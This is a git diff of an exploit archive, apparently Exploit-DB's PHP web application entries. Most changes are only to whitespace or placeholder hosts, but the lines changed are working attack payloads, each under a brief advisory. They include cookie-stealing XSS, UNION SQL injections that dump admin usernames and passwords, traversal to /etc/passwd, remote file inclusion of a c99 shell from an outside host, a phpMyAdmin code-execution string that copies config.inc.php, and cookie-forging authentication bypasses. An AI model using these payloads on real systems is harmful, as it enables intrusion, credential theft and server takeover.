-http://www.example.com/login.php?message=[XSS] \ No newline at end of file +http://www.example.com/login.php?message=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32338.txt b/platforms/php/webapps/32338.txt index 3535d47af..0659e4ca0 100755 --- a/platforms/php/webapps/32338.txt +++ b/platforms/php/webapps/32338.txt @@ -4,4 +4,4 @@ phpAdultSite is prone to a cross-site scripting vulnerability because it fails t An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -index.php?&results_per_page=50"><script type="text/javascript">alert(/XSS vuln by DavidSopas.com/)</script> \ No newline at end of file +index.php?&results_per_page=50"><script type="text/javascript">alert(/XSS vuln by DavidSopas.com/)</script> \ No newline at end of file diff --git a/platforms/php/webapps/32340.txt b/platforms/php/webapps/32340.txt index bf6194dcd..dda7b2663 100755 --- a/platforms/php/webapps/32340.txt +++ b/platforms/php/webapps/32340.txt @@ -9,4 +9,4 @@ Gallery 2.0 is vulnerable; other versions may also be affected. http://www.example.com/path/search.php?title=[XSS] http://www.example.com/path/search.php?description=[XSS] http://www.example.com/path/search.php?author=[XSS] -http://www.example.com/path/login.php?return=[XSS] \ No newline at end of file +http://www.example.com/path/login.php?return=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32342.txt b/platforms/php/webapps/32342.txt index ae38662bf..9b632ae45 100755 --- a/platforms/php/webapps/32342.txt +++ b/platforms/php/webapps/32342.txt @@ -7,4 +7,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Thyme 1.3 is affected; other versions may also be vulnerable. Submit the following to the input field at /thyme/modules/groups/pick_users.php: -' union all select proof,of,concept from mysql.db/* \ No newline at end of file +' union all select proof,of,concept from mysql.db/* \ No newline at end of file diff --git a/platforms/php/webapps/32346.txt b/platforms/php/webapps/32346.txt index 3741832ee..489482de8 100755 --- a/platforms/php/webapps/32346.txt +++ b/platforms/php/webapps/32346.txt @@ -4,4 +4,4 @@ E-Php B2B Trading Marketplace Script is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/listings.php?browse=product&cid=-1+union+all+select+1,concat(version(),char(58),database(),char(58),user()),3,4,5,6,7,8-- \ No newline at end of file +http://www.example.com/listings.php?browse=product&cid=-1+union+all+select+1,concat(version(),char(58),database(),char(58),user()),3,4,5,6,7,8-- \ No newline at end of file diff --git a/platforms/php/webapps/32349.txt b/platforms/php/webapps/32349.txt index 5835d3150..c80d2da09 100755 --- a/platforms/php/webapps/32349.txt +++ b/platforms/php/webapps/32349.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to PunBB 1.2.20 are vulnerable. -http://www.example.com/userlist.php?p=2<script>alert('meh');</script> \ No newline at end of file +http://www.example.com/userlist.php?p=2<script>alert('meh');</script> \ No newline at end of file diff --git a/platforms/php/webapps/32351.txt b/platforms/php/webapps/32351.txt index 02271dd74..994ff5293 100755 --- a/platforms/php/webapps/32351.txt +++ b/platforms/php/webapps/32351.txt @@ -7,4 +7,4 @@ An attacker can exploit these vulnerabilities using directory-traversal strings Jaw Portal 1.2 is vulnerable; other versions may also be affected. http://www.example.com/index.php?flag=../../../autoexec.bat%00 -http://www.example.com/index.php?inc=../../../autoexec.bat%00 \ No newline at end of file +http://www.example.com/index.php?inc=../../../autoexec.bat%00 \ No newline at end of file diff --git a/platforms/php/webapps/32352.txt b/platforms/php/webapps/32352.txt index 7861514c7..9a53298dc 100755 --- a/platforms/php/webapps/32352.txt +++ b/platforms/php/webapps/32352.txt @@ -4,4 +4,4 @@ AvailScript Job Portal Script is prone to an SQL-injection vulnerability because Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/job_seeker/applynow.php?jid=-99999+union+select+0,01,concat(username,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+admin-- \ No newline at end of file +http://www.example.com/job_seeker/applynow.php?jid=-99999+union+select+0,01,concat(username,0x3a,password),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+admin-- \ No newline at end of file diff --git a/platforms/php/webapps/32353.txt b/platforms/php/webapps/32353.txt index c478855ef..8592658db 100755 --- a/platforms/php/webapps/32353.txt +++ b/platforms/php/webapps/32353.txt @@ -8,4 +8,4 @@ This issue affects versions prior to Horde Framework 3.1.9 and 3.2.2. Note that additional products that use the Horde Framework may also be vulnerable. -<body/onload=alert(/hello/)> \ No newline at end of file +<body/onload=alert(/hello/)> \ No newline at end of file diff --git a/platforms/php/webapps/32354.txt b/platforms/php/webapps/32354.txt index 91f3a1f58..e47fb5d6a 100755 --- a/platforms/php/webapps/32354.txt +++ b/platforms/php/webapps/32354.txt @@ -8,4 +8,4 @@ This issue affects Horde Framework 3.2 through 3.2.1. Note that additional products that use the Horde Framework may also be vulnerable. -<body/onload=alert(/hello/)> \ No newline at end of file +<body/onload=alert(/hello/)> \ No newline at end of file diff --git a/platforms/php/webapps/32355.txt b/platforms/php/webapps/32355.txt index 25cd7c559..9c2092ce0 100755 --- a/platforms/php/webapps/32355.txt +++ b/platforms/php/webapps/32355.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Hot Links SQL-PHP 3 and prior versions are vulnerable. -http://www.example.com/news.php?id=-1+union+all+select+1,concat(version(),0x3a,database(),0x3a,user()),null,null-- \ No newline at end of file +http://www.example.com/news.php?id=-1+union+all+select+1,concat(version(),0x3a,database(),0x3a,user()),null,null-- \ No newline at end of file diff --git a/platforms/php/webapps/32361.txt b/platforms/php/webapps/32361.txt index 9221eaedc..86b4decbb 100755 --- a/platforms/php/webapps/32361.txt +++ b/platforms/php/webapps/32361.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br NooMS 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/search.php?q="<script>alert('xss')</script> \ No newline at end of file +http://www.example.com/search.php?q="<script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/php/webapps/32364.txt b/platforms/php/webapps/32364.txt index 7c414dc20..5e6c2a228 100755 --- a/platforms/php/webapps/32364.txt +++ b/platforms/php/webapps/32364.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Dynamic MP3 Lister 2.0.1 is vulnerable; other versions may also be affected. http://www.example.com/index.php?currentpath=[XSS]&sort=[XSS]&invert=[XSS] -http://www.example.com/index.php?sort=[XSS]&invert=[XSS]&currentpath=[XSS]&search=[XSS] \ No newline at end of file +http://www.example.com/index.php?sort=[XSS]&invert=[XSS]&currentpath=[XSS]&search=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32365.txt b/platforms/php/webapps/32365.txt index 0b6e87247..16907f03c 100755 --- a/platforms/php/webapps/32365.txt +++ b/platforms/php/webapps/32365.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Paranews 3.4 is vulnerable; other versions may also be affected. -http://www.example.com/news.php?pn_go=details&page=[XSS]&id=[XSS] \ No newline at end of file +http://www.example.com/news.php?pn_go=details&page=[XSS]&id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/32366.txt b/platforms/php/webapps/32366.txt index 0874ab746..3bbfae16c 100755 --- a/platforms/php/webapps/32366.txt +++ b/platforms/php/webapps/32366.txt @@ -4,4 +4,4 @@ QuicO is prone to an SQL-injection vulnerability because it fails to sufficientl Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/gallery/photo.php?id=48+and+1=2+union+select+1,version(),user(),database(),0x6461726b633064652052756c65732e2e2121,6-- \ No newline at end of file +http://www.example.com/gallery/photo.php?id=48+and+1=2+union+select+1,version(),user(),database(),0x6461726b633064652052756c65732e2e2121,6-- \ No newline at end of file diff --git a/platforms/php/webapps/32383.txt b/platforms/php/webapps/32383.txt index b65971ba8..f9b1dcb0c 100755 --- a/platforms/php/webapps/32383.txt +++ b/platforms/php/webapps/32383.txt @@ -6,4 +6,4 @@ Successful attacks can compromise the affected application and possibly the unde This issue affects versions prior to phpMyAdmin 2.11.9.1. -http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); //&sort_order=desc&token=[valid token] \ No newline at end of file +http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); //&sort_order=desc&token=[valid token] \ No newline at end of file diff --git a/platforms/php/webapps/32387.txt b/platforms/php/webapps/32387.txt index 180d6b416..9cd9cd941 100755 --- a/platforms/php/webapps/32387.txt +++ b/platforms/php/webapps/32387.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Quick.Cms.Lite 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/admin.php?"><script>alert(document.cookie)</script><" \ No newline at end of file +http://www.example.com/admin.php?"><script>alert(document.cookie)</script><" \ No newline at end of file diff --git a/platforms/php/webapps/32388.txt b/platforms/php/webapps/32388.txt index b79167a30..538c0eab2 100755 --- a/platforms/php/webapps/32388.txt +++ b/platforms/php/webapps/32388.txt @@ -4,4 +4,4 @@ The Cars & Vehicle script is prone to an SQL-injection vulnerability because it Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -www.example.com/Script/page.php?lnkid=-1/**/UNION/**/SELECT/**/1,1,1,1,concat_ws(user(),version(),database()),1/* \ No newline at end of file +www.example.com/Script/page.php?lnkid=-1/**/UNION/**/SELECT/**/1,1,1,1,concat_ws(user(),version(),database()),1/* \ No newline at end of file diff --git a/platforms/php/webapps/32389.txt b/platforms/php/webapps/32389.txt index e49f14533..e8f1940f6 100755 --- a/platforms/php/webapps/32389.txt +++ b/platforms/php/webapps/32389.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Quick.Cart 3.1 is vulnerable; other versions may also be affected. -http://www.example.com/admin.php?"><script>alert(document.cookie)</script><" \ No newline at end of file +http://www.example.com/admin.php?"><script>alert(document.cookie)</script><" \ No newline at end of file diff --git a/platforms/php/webapps/32392.pl b/platforms/php/webapps/32392.pl index 428e8e6ed..6054c337d 100755 --- a/platforms/php/webapps/32392.pl +++ b/platforms/php/webapps/32392.pl @@ -24,7 +24,7 @@ These issues affect Add a link 4 and prior versions. use HTTP::Request; use LWP::UserAgent; -print "Insert host/path:(ex: http://www.server/linkliste/)\n"; +print "Insert host/path:(ex: http://www.site.com/linkliste/)\n"; $host=<STDIN>; chomp $host; print "\n"; diff --git a/platforms/php/webapps/32395.txt b/platforms/php/webapps/32395.txt index ecd20c26b..c4cc54c8e 100755 --- a/platforms/php/webapps/32395.txt +++ b/platforms/php/webapps/32395.txt @@ -6,4 +6,4 @@ Successful exploits of this issue may allow an attacker to obtain sensitive info HyperStop WebHost Directory 1.2 is vulnerable; other versions may also be affected. -http://www.example.com/admin/backup/db \ No newline at end of file +http://www.example.com/admin/backup/db \ No newline at end of file diff --git a/platforms/php/webapps/32397.txt b/platforms/php/webapps/32397.txt index 5371679e7..3640f9943 100755 --- a/platforms/php/webapps/32397.txt +++ b/platforms/php/webapps/32397.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a PHP Pro Bid 6.04 is vulnerable; other versions may also be affected. -http://www.example.com/phpprobidlocation/categories.php?start=0&limit=20&parent_id=669&keywords_cat_search=&buyout_price=&reserve_price=&quantity=&enable_swap=&order_field=(select%201)x&order_type=%20 \ No newline at end of file +http://www.example.com/phpprobidlocation/categories.php?start=0&limit=20&parent_id=669&keywords_cat_search=&buyout_price=&reserve_price=&quantity=&enable_swap=&order_field=(select%201)x&order_type=%20 \ No newline at end of file diff --git a/platforms/php/webapps/32398.txt b/platforms/php/webapps/32398.txt index f937e70b5..bf7de558d 100755 --- a/platforms/php/webapps/32398.txt +++ b/platforms/php/webapps/32398.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Thyme 1.3; other versions may also be affected. -http://www.example.com/thyme/modules/common_files/add_calendars.php?callback="/></SCRIPT></FORM><SCRIPT>alert(document.cookie)</SCRIPT><SCRIPT><FORM> \ No newline at end of file +http://www.example.com/thyme/modules/common_files/add_calendars.php?callback="/></SCRIPT></FORM><SCRIPT>alert(document.cookie)</SCRIPT><SCRIPT><FORM> \ No newline at end of file diff --git a/platforms/php/webapps/3240.txt b/platforms/php/webapps/3240.txt index 261ab28d6..6c58a56cf 100755 --- a/platforms/php/webapps/3240.txt +++ b/platforms/php/webapps/3240.txt @@ -8,7 +8,7 @@ template.php:- ******************************************************************************** ExPlOiT: -http://www.server/[JV2 Folder Gallery]/gallery/theme/include_mode/template.php?galleryfilesdir=[Shell] +http://www.Site.com/[JV2 Folder Gallery]/gallery/theme/include_mode/template.php?galleryfilesdir=[Shell] ******************************************************************************** diff --git a/platforms/php/webapps/32402.txt b/platforms/php/webapps/32402.txt index 0fee17147..2d6b5c45b 100755 --- a/platforms/php/webapps/32402.txt +++ b/platforms/php/webapps/32402.txt @@ -4,4 +4,4 @@ UNAK-CMS is prone to an authentication-bypass vulnerability because it fails to An attacker can exploit this vulnerability to gain administrative access to the affected application; other attacks are also possible. -javascript:document.cookie = "unak_lang=1; path=/"; \ No newline at end of file +javascript:document.cookie = "unak_lang=1; path=/"; \ No newline at end of file diff --git a/platforms/php/webapps/32403.txt b/platforms/php/webapps/32403.txt index 08f5a2223..1b2b1e2fd 100755 --- a/platforms/php/webapps/32403.txt +++ b/platforms/php/webapps/32403.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc MapCal 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/cms/index.php?action=editevent&id=-0x90+union+select+0x90,0x90,0x90,concat(0x3a,database(),0x3a,version()),0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90+from+events \ No newline at end of file +http://www.example.com/cms/index.php?action=editevent&id=-0x90+union+select+0x90,0x90,0x90,concat(0x3a,database(),0x3a,version()),0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90+from+events \ No newline at end of file diff --git a/platforms/php/webapps/32404.html b/platforms/php/webapps/32404.html index db6742484..a6207901d 100755 --- a/platforms/php/webapps/32404.html +++ b/platforms/php/webapps/32404.html @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script Versions prior to fuzzylime (cms) 3.03 are vulnerable. -<form method="post" action="http://www.example.com/fuzzylime/admin/usercheck.php"> <input type="hidden" name="log" value="in"> <input type="text" name="user"value='"><script>alert(1)</script>'> <input type=submit></form> \ No newline at end of file +<form method="post" action="http://www.example.com/fuzzylime/admin/usercheck.php"> <input type="hidden" name="log" value="in"> <input type="text" name="user"value='"><script>alert(1)</script>'> <input type=submit></form> \ No newline at end of file diff --git a/platforms/php/webapps/32406.txt b/platforms/php/webapps/32406.txt index 64992d7fb..e7f81ecc9 100755 --- a/platforms/php/webapps/32406.txt +++ b/platforms/php/webapps/32406.txt @@ -6,4 +6,4 @@ An attacker can leverage the session-fixation issue to hijack a session of an un xt:Commerce 3.04 is vulnerable; other versions may also be affected. -https://www.example.com/xtcommerce304/shopping_cart.php/XTCsid/15031988 \ No newline at end of file +https://www.example.com/xtcommerce304/shopping_cart.php/XTCsid/15031988 \ No newline at end of file diff --git a/platforms/php/webapps/32407.txt b/platforms/php/webapps/32407.txt index 496a84b17..916ce4e58 100755 --- a/platforms/php/webapps/32407.txt +++ b/platforms/php/webapps/32407.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to hijack a user's session and gain unauthorize BLUEPAGE CMS 2.5 is vulnerable; other versions may also be affected. -http://www.example.com/BluePageCMS/?PHPSESSID=15031988 \ No newline at end of file +http://www.example.com/BluePageCMS/?PHPSESSID=15031988 \ No newline at end of file diff --git a/platforms/php/webapps/32408.txt b/platforms/php/webapps/32408.txt index 0b929a326..c608547ed 100755 --- a/platforms/php/webapps/32408.txt +++ b/platforms/php/webapps/32408.txt @@ -4,4 +4,4 @@ BlueCUBE CMS is prone to an SQL-injection vulnerability because it fails to suff Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/tienda.php?id=-1+union+select+concat(version(),0x3a,database(),0x3a,user())/* \ No newline at end of file +http://www.example.com/tienda.php?id=-1+union+select+concat(version(),0x3a,database(),0x3a,user())/* \ No newline at end of file diff --git a/platforms/php/webapps/32409.txt b/platforms/php/webapps/32409.txt index 8227f43ec..477909aa3 100755 --- a/platforms/php/webapps/32409.txt +++ b/platforms/php/webapps/32409.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Achievo 1.3.2; other versions may also be affected. -http://www.example.com/achievo-1.3.2/dispatch.php?atknodetype= >"><script%20%0a%0d>a lert(document.cookie)%3B</script>&atkaction=adminpim&atklevel=-1&atkprevlevel =0&achievo=cgvuu4c9nv45ofdq8ntv1inm82 \ No newline at end of file +http://www.example.com/achievo-1.3.2/dispatch.php?atknodetype= >"><script%20%0a%0d>a lert(document.cookie)%3B</script>&atkaction=adminpim&atklevel=-1&atkprevlevel =0&achievo=cgvuu4c9nv45ofdq8ntv1inm82 \ No newline at end of file diff --git a/platforms/php/webapps/32410.txt b/platforms/php/webapps/32410.txt index 9c92a5ca9..03f0295e1 100755 --- a/platforms/php/webapps/32410.txt +++ b/platforms/php/webapps/32410.txt @@ -4,4 +4,4 @@ source: http://www.securityfocus.com/bid/31329/info Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/cat.php?CatID=-1+union+select+1,concat(aid,0x3a,pwd,0x3a,email),3,4+from+7addad_authors-- \ No newline at end of file +http://www.example.com/cat.php?CatID=-1+union+select+1,concat(aid,0x3a,pwd,0x3a,email),3,4+from+7addad_authors-- \ No newline at end of file diff --git a/platforms/php/webapps/32411.txt b/platforms/php/webapps/32411.txt index 2993b4b0f..fb6d76a41 100755 --- a/platforms/php/webapps/32411.txt +++ b/platforms/php/webapps/32411.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Datalife Engine CMS 7.2 is vulnerable; other versions may also be affected. -http://www.example.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E \ No newline at end of file +http://www.example.com/admin.php/%3E%22%3E%3CScRiPt%3Ealert('Hadi-Kiamarsi')%3C/ScRiPt%3E \ No newline at end of file diff --git a/platforms/php/webapps/32413.txt b/platforms/php/webapps/32413.txt index 97a5ea819..8844ba9fe 100755 --- a/platforms/php/webapps/32413.txt +++ b/platforms/php/webapps/32413.txt @@ -4,4 +4,4 @@ InterTech Web Content Management System (WCMS) is prone to an SQL-injection vuln Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/etemplate.php?id=-5+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users-- \ No newline at end of file +http://www.example.com/etemplate.php?id=-5+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users-- \ No newline at end of file diff --git a/platforms/php/webapps/32415.txt b/platforms/php/webapps/32415.txt index 4c7641aaa..f064b312a 100755 --- a/platforms/php/webapps/32415.txt +++ b/platforms/php/webapps/32415.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a These issues affect versions prior to Ajax Checklist 5.x-1.1. http://www.example.com/ajaxchecklist/save/1/2%27,2),(3,3,(select%20pass%20f -rom%20users%20where%20uid=1),3),(4,4,%274/3/4 \ No newline at end of file +rom%20users%20where%20uid=1),3),(4,4,%274/3/4 \ No newline at end of file diff --git a/platforms/php/webapps/32421.html b/platforms/php/webapps/32421.html index abe4c2e92..02f136a64 100755 --- a/platforms/php/webapps/32421.html +++ b/platforms/php/webapps/32421.html @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to FlatPress 0.804.1 are vulnerable. -<form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="user" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="pass" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/contact.php"> <input type="text" name="name" value='"><script>alert(1)</script>'> <input type=submit></form> \ No newline at end of file +<form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="user" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="pass" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/contact.php"> <input type="text" name="name" value='"><script>alert(1)</script>'> <input type=submit></form> \ No newline at end of file diff --git a/platforms/php/webapps/32422.txt b/platforms/php/webapps/32422.txt index d3b20bd8a..f5b1aa5c3 100755 --- a/platforms/php/webapps/32422.txt +++ b/platforms/php/webapps/32422.txt @@ -10,4 +10,4 @@ The following example account registration data is available: Username: [username][whitespace characters]NULL Password: [password] -E-Mail: [E-Mail] \ No newline at end of file +E-Mail: [E-Mail] \ No newline at end of file diff --git a/platforms/php/webapps/32427.txt b/platforms/php/webapps/32427.txt index c2b9f88ab..6407c270d 100755 --- a/platforms/php/webapps/32427.txt +++ b/platforms/php/webapps/32427.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to include an arbitrary remote file containin Barcode Generator 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/barcodegen.1d-php4.v2.0.0/class/LSTable.php?class_dir=http://example2.com/shell/c99.txt? \ No newline at end of file +http://www.example.com/barcodegen.1d-php4.v2.0.0/class/LSTable.php?class_dir=http://example2.com/shell/c99.txt? \ No newline at end of file diff --git a/platforms/php/webapps/32431.txt b/platforms/php/webapps/32431.txt index 15d0eb830..bde34f0ba 100755 --- a/platforms/php/webapps/32431.txt +++ b/platforms/php/webapps/32431.txt @@ -4,4 +4,4 @@ Lyrics Script is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/search_results.php?k= XSS_CODE \ No newline at end of file +http://www.example.com/search_results.php?k= XSS_CODE \ No newline at end of file diff --git a/platforms/php/webapps/32432.txt b/platforms/php/webapps/32432.txt index 2b7bae28a..63ca95f60 100755 --- a/platforms/php/webapps/32432.txt +++ b/platforms/php/webapps/32432.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The following example is available: http://www.example.com/search.php -in search box code Xss \ No newline at end of file +in search box code Xss \ No newline at end of file diff --git a/platforms/php/webapps/32433.txt b/platforms/php/webapps/32433.txt index 134d2034a..3f081d7ac 100755 --- a/platforms/php/webapps/32433.txt +++ b/platforms/php/webapps/32433.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/stuffs.php?category= XSS_CODE http://www.example.com/search.php -in search box code Xss \ No newline at end of file +in search box code Xss \ No newline at end of file diff --git a/platforms/php/webapps/32434.txt b/platforms/php/webapps/32434.txt index 77b1a088b..c913a470a 100755 --- a/platforms/php/webapps/32434.txt +++ b/platforms/php/webapps/32434.txt @@ -4,4 +4,4 @@ Recipe Script is prone to a cross-site scripting vulnerability because it fails An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/search.php?keyword= XSS_HACKING \ No newline at end of file +http://www.example.com/search.php?keyword= XSS_HACKING \ No newline at end of file diff --git a/platforms/php/webapps/32441.txt b/platforms/php/webapps/32441.txt index e4ceece38..85a35784a 100755 --- a/platforms/php/webapps/32441.txt +++ b/platforms/php/webapps/32441.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to gain administrative access to the PHPJabbers Post Comments 3.0 is vulnerable; other versions may also be affected. -javascript:document.cookie = "PostCommentsAdmin=logged; path=/ \ No newline at end of file +javascript:document.cookie = "PostCommentsAdmin=logged; path=/ \ No newline at end of file diff --git a/platforms/php/webapps/32443.txt b/platforms/php/webapps/32443.txt index 81f9a1539..7e2ce1379 100755 --- a/platforms/php/webapps/32443.txt +++ b/platforms/php/webapps/32443.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects versions of the CAcert source code released on or before September 21, 2008. -openssl req -new -x509 -subj "/CN=<\/pre><script>alert(document.cookies)<\/script><pre>" \ No newline at end of file +openssl req -new -x509 -subj "/CN=<\/pre><script>alert(document.cookies)<\/script><pre>" \ No newline at end of file diff --git a/platforms/php/webapps/32447.txt b/platforms/php/webapps/32447.txt index 17d407916..621c463f4 100755 --- a/platforms/php/webapps/32447.txt +++ b/platforms/php/webapps/32447.txt @@ -4,4 +4,4 @@ A4Desk Event Calendar is prone to a remote file-include vulnerability because it Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/[path]/index.php?date=&v=http://www.example2.com \ No newline at end of file +http://www.example.com/[path]/index.php?date=&v=http://www.example2.com \ No newline at end of file diff --git a/platforms/php/webapps/32449.txt b/platforms/php/webapps/32449.txt index 5e85bf129..8c6808a41 100755 --- a/platforms/php/webapps/32449.txt +++ b/platforms/php/webapps/32449.txt @@ -10,4 +10,4 @@ http://www.example.com/actions.php?m=dload&fn=%3Ciframe/src=javascript:alert(%27 http://www.example.com/actions.php?m=search&start=1 [POST data: fld=%2F&mask=%3Ciframe%2Fsrc%3Djavascript%3Aalert%280%29%3E] -http://www.example.com/actions.php?m=sysinfo&tab=1'><img/src/onerror=with(new XMLHttpRequest()){open('GET','http://www.victim.com/actions.php?m=futils&ac=mkd',true),send(null),onreadystatechange=function(){if(readyState==4 && status==200){with(window.open('','_blank')){document.write(responseText.replace(/<\/body>/,'<script>document.getElementsByTagName("input")[2].value="XSS";document.forms[0].submit();<\/script></body>'));document.close();}}};} \ No newline at end of file +http://www.example.com/actions.php?m=sysinfo&tab=1'><img/src/onerror=with(new XMLHttpRequest()){open('GET','http://www.victim.com/actions.php?m=futils&ac=mkd',true),send(null),onreadystatechange=function(){if(readyState==4 && status==200){with(window.open('','_blank')){document.write(responseText.replace(/<\/body>/,'<script>document.getElementsByTagName("input")[2].value="XSS";document.forms[0].submit();<\/script></body>'));document.close();}}};} \ No newline at end of file diff --git a/platforms/php/webapps/32450.txt b/platforms/php/webapps/32450.txt index 62dd6da96..c57425248 100755 --- a/platforms/php/webapps/32450.txt +++ b/platforms/php/webapps/32450.txt @@ -10,4 +10,4 @@ http://www.example.com/index.php/Special/Main/keywordSearch?key="><iframe src="h http://www.example.com/index.php/Edit/Main/Home?cmd=show&revNum=65"><iframe src="http://www.example2.com"></iframe> http://www.example.com/index.php/Special/Main/WhatLinksHere?to="><iframe src="http://www.example2.com"></iframe> http://www.example.com/index.php/Special/Main/UserEdits?user="><iframe src="http://www.example2.com"></iframe> -http://www.example.com/index.php/"><iframe src="http://www.example2.com"></iframe> \ No newline at end of file +http://www.example.com/index.php/"><iframe src="http://www.example2.com"></iframe> \ No newline at end of file diff --git a/platforms/php/webapps/32453.txt b/platforms/php/webapps/32453.txt index a8d4d5a35..4eb689198 100755 --- a/platforms/php/webapps/32453.txt +++ b/platforms/php/webapps/32453.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow HostAdmin 3.1.1 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/index.php?page=[XSS] \ No newline at end of file +http://www.example.com/[path]/index.php?page=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/3246.txt b/platforms/php/webapps/3246.txt index 78662840f..4c884faf6 100755 --- a/platforms/php/webapps/3246.txt +++ b/platforms/php/webapps/3246.txt @@ -19,8 +19,8 @@ include_once($level."Shared/sharedfunctions.php"); POC: -server/script_pat/Shared/controller/text.ctrl.php?level=http://evilscripts ? -server/script_pat/UserMan/controller/common.function.php?level=http://evilscripts ? +www.target.com/script_pat/Shared/controller/text.ctrl.php?level=http://evilscripts ? +www.target.com/script_pat/UserMan/controller/common.function.php?level=http://evilscripts ? ----------------------------------------------- diff --git a/platforms/php/webapps/32462.txt b/platforms/php/webapps/32462.txt index a05490955..c2f275c79 100755 --- a/platforms/php/webapps/32462.txt +++ b/platforms/php/webapps/32462.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to bypass filter restrictions and post spam con SMF 1.1.6 is vulnerable; other versions may also be affected. -[b]ht[b][/b]tp://www.ex[i][/i]ample.com/[/b] \ No newline at end of file +[b]ht[b][/b]tp://www.ex[i][/i]ample.com/[/b] \ No newline at end of file diff --git a/platforms/php/webapps/32464.txt b/platforms/php/webapps/32464.txt index 03e25013f..d95303f4b 100755 --- a/platforms/php/webapps/32464.txt +++ b/platforms/php/webapps/32464.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities using directory-traversal strings PHP Web Explorer 0.99b is vulnerable; other versions may also be affected. -http://www.example.com/edit.php?file=../../../etc/passwd \ No newline at end of file +http://www.example.com/edit.php?file=../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/32467.txt b/platforms/php/webapps/32467.txt index a3c8640ff..5d5d8af35 100755 --- a/platforms/php/webapps/32467.txt +++ b/platforms/php/webapps/32467.txt @@ -8,4 +8,4 @@ NOTE: The security-bypass issue has been reassigned to BID 31643 (Opera Cached J 